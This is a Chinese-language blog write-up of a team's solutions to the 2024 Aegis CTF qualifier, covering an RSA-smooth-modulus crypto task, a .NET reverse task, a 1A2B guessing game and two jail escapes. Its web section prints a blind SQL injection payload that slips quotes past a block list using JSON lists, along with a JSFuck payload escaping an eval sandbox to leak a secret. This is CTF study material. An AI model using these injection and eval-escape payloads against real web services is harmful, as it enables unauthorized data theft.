Cavern.sigma
Welcome to Cavern.sigma
[TOC] ## 成績 ![Score](https://img.stoneapp.tech/t510599/aegis-2024/quals/Score.png) 窩也不資到 10th 看完整[Profile](https://img.stoneapp.tech/t510599/aegis-2024/quals/Profile.png)、[Scoreboard](https://img.stoneapp.tech/t510599/aegis-2024/quals/Scoreboard.png) ## 比賽資訊 神盾盃 預賽 時間: 2024/9/14 09:00 ~ 19:00 官網: https://www.facebook.com/Aegis.CTF/ 取前 10 進決賽 ## 前言 跟 @a91082900 還有 @kuokuoyiyi 大佬一起刷神盾 幸好比賽時間短 最後壓線賽進決賽了 開心 終於進神盾了 可惜 @kuokuoyiyi 決賽不在台灣 QQ 寫個 writeup 紀錄一下 (只有放自己有解的題目) ---- ## Crypto ### miku ``` miku = 1 for _ in range(39): miku *= getPrime(39) negi = 0x10001 kotoba = os.urandom(32) roller = AES.new(kotoba, AES.MODE_CBC) # key for flag ``` roller 會被用來加密圖片 而最後會輸出 miku, negi 跟這兩個參數做 RSA (分別是 N, e) 加密 kotoba miku 是個平滑的大數 基本上 sage 秒解 ``` phi = euler_phi(miku) d = inverse_mod(negi, phi) kotoba = bytes.fromhex(hex(pow(kotoba, d, miku))[2:]) ``` 把 kotoba 解開再餵給 AES 解密圖片 上面就有 flag ![miku flag](https://i.imgur.com/4sBos5K.png) flag: `AEGIS{4_b3l473d_h4ppy_b1r7hd4y_70_h45un3_m1ku}` ## Reverse ### Calculator 是個 .NET binary 丟進 dnSpy 就可以看到生 flag 的 code 直接包起來去執行就有 flag ![calculator code](https://i.imgur.com/KwBx0wc.png) flag: `AEGIS{N0_5WE4T}` ## Web ### do you like injection 一個 flask server 有 POST 表單可以填 username 有很明顯的 SQLi: ``` # sqlite cursor.execute(f"SELECT * FROM user WHERE username = '{username}'") ``` 但在送進去之前會先 filter 關鍵字 ``` blockList = ['\'', '"', '#', '-' ,'\\' ,'*', ' '] for keyword in blockList: if keyword in username: # return error ``` 另外注意到他取值是用 json ``` req = request.get_json() username = req['username'] ``` 簡單做個實驗 可以發現當 username 是 list of string 的時候 要被放入 f-string 之前會先轉成 expr 這時候單引號就會自己跑出來了 ![single quote in list](https://i.imgur.com/anzDdBT.png) 所以就可以閉合 SQL statement 中 username 前面的單引號來 injection 剩下因為沒有回顯 所以打 boolean-based union sqli 大概這樣: ``` payload_template = "' OR username='admin' and {} /*" def brute(i, c): payload = payload_template.format(f"(SELECT substr(hex({col_name}),{i},1) FROM {tbl_name} limit 1) = '{c}'") data = {'username': [payload]} ``` brute 會回傳 query 裡面 index `i` 是不是 `c` 這個 char 這裡用 hex 可以讓 `c` 的 charset 比較小 flag: `AEGIS{wl3c0m3_70_5ql1733_5ql1nj3c710N_7360d127d3531dd6424d0368f9435703}` ### JSFBox Server 用 express 跑起來 並且會 eval 你的 input 再用其 output 再 eval 一次 ``` const fa = fs.readFileSync('/flag', 'utf-8'); // ... app.post("/escape", (req, res) => { body = req.body; let validationResult = validateString(body); if (validationResult !== "String is valid.") { return res.send(validationResult); } console.log(body); let result; try { result = eval(body).toString(); } catch (e) { return res.send("Something went wrong with your code."); } try { if (String (eval(result)) === fa) { return res.send("WOW! How did you know the flag?"); } } catch (e) {} return res.send("Good job! Try harder."); }); ``` 限制第一個 eval 輸入要符合 `/^[^\w=]+$/` (只能有 symbol) 另外限制總共只能用 2\*\*4 個 symbol 跟每個 symbol 出現次數規則如下: ``` const sortedSymbols = Object.keys(charCount).sort((a, b) => charCount[b] - charCount[a]); for (let i = 0; i < sortedSymbols.length; i++) { const maxAllowed = 2**7 - i; if (charCount[sortedSymbols[i]] > maxAllowed) { return "Error"; } } ``` 因為跑 eval 的 scope 有 `res` 直接 call `res.send` 把 `fa` (flag) 送給前端就好 Payload: `res.send(fa)` 然後轉成 jsfuck: ``` (!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+(![]+[])[+[]]+(![]+[])[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]] ``` flag: *忘記存了 OwO* ## Misc ### Just paly a game 1A2B 但是要猜的是英文小寫字母 而且要猜 8 位 (每位都不同字母) 另外次數上限是 18 次 策略主要是先猜 `abcdefgh` `ijklmnop` `qrstuvwx` 這樣就可以篩選出有沒有 `y` 跟 `z` 抽到沒 `y` `z` 跟有一組 4B 以上再開局 寫了個土炮 web 來幫忙追蹤 <details> <summary>▶ 點我展開糞 code</summary> ``` <!DOCTYPE html> <html> <head> <title>Title</title> <style> body { display: flex; align-items: center; flex-direction: column; } </style> </head> <body> <table> <thead> </thead> <tbody> </tbody> </table> <div> <input type="text"><input type="text"><input type="text"><input type="text"><input type="text"><input type="text"><input type="text"><input type="text"> </div> <script> const char = "abcdefghijklmnopqrstuvwxyz"; const $thead = document.querySelector("thead"); $thead.innerHTML += "<tr><th></th></tr>"; for (let c of char) { $thead.querySelector("tr").innerHTML += `<th>${c}</th>`; } const $tbody = document.querySelector("tbody"); $tbody.innerHTML += "<tr><th>B</th></tr>"; for (let c of char) { $tbody.querySelector("tr").innerHTML += `<td><input type="checkbox"></td>`; } $tbody.innerHTML += $tbody.innerHTML; $tbody.querySelector("th").innerHTML = "A"; $tbody.querySelectorAll("tr:last-child td").forEach(($td, i) => { $td.querySelector("input").checked = "checked"; }); </script> </body> </html> ``` </details> 反正最後是被我賽到了 賽了四五個小時 = = ![Guessing](https://i.imgur.com/lPDd4Jw.png) ![Tool Screenshot](https://i.imgur.com/PVwluwC.png) flag: `AEGIS{C4n_y0U_5H4r3_4nY_4B0u7_7h15_64M3_7R1cK_W17h_m3?}` ### Eazy Jail 總共有兩個 stage 分別是 python 與 node.js 第一個 stage 要只用 `a,b,c,d,e,f,g,1,2,3,4,5,{,}` 分別造出不同長度的 code 讓 eval 結果為 `2` Stage 1 exp: ``` 2 # 1 "2" # 3 f"2" # 4 f"{2}" # 6 """2""" # 7 f"{"2"}" # 8 f"""{2}""" # 10 f"{f"{2}"}" # 11 ``` 註: 長度 11 的 exploit 要在 python 3.12 之後才能用 [文件](https://docs.python.org/3/reference/lexical_analysis.html#f-strings)裡面有提到: > Changed in version 3.12: Prior to Python 3.12, reuse of the same quoting type of the outer f-string inside a replacement field was not possible. stage 2 則是在輸入符合 `/^[0-9+\-*/.\s]+$/` 的狀況下通過以下驗證: ``` const CORRECT_ANSWER = 1024; const EXPECTED_RESULT = 532; readline.question('Guess the number: ', input => { const guessedNumber = Number(input); if (guessedNumber === CORRECT_ANSWER) { try { const evaluationResult = safeEval(input); if (evaluationResult === EXPECTED_RESULT) { displaySuccess(); } else { displayFailure(); } } catch (error) { displayError(); } } else { displayFailure(); } readline.close(); ``` 這邊可以發現 1024 (octal) = 532 (decimal) 另外查看 [Number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number#number_coercion) 的文件可以發現以下敘述: > A leading `0` digit does not cause the number to become an octal literal (or get rejected in strict mode). 所以輸入 octal 的 1024 (`01024`) 會被 `Number` 解析成 1024 但直接 eval 則得到 532 Stage 2 exp: ``` 01024 ``` flag: `AEGIS{345y_j41l_f0r_b361nn3r_n07_w473r_qu35710n_QQ}`
2024-11-04 03:27:49
留言
Last fetch: --:-- 
現在還沒有留言!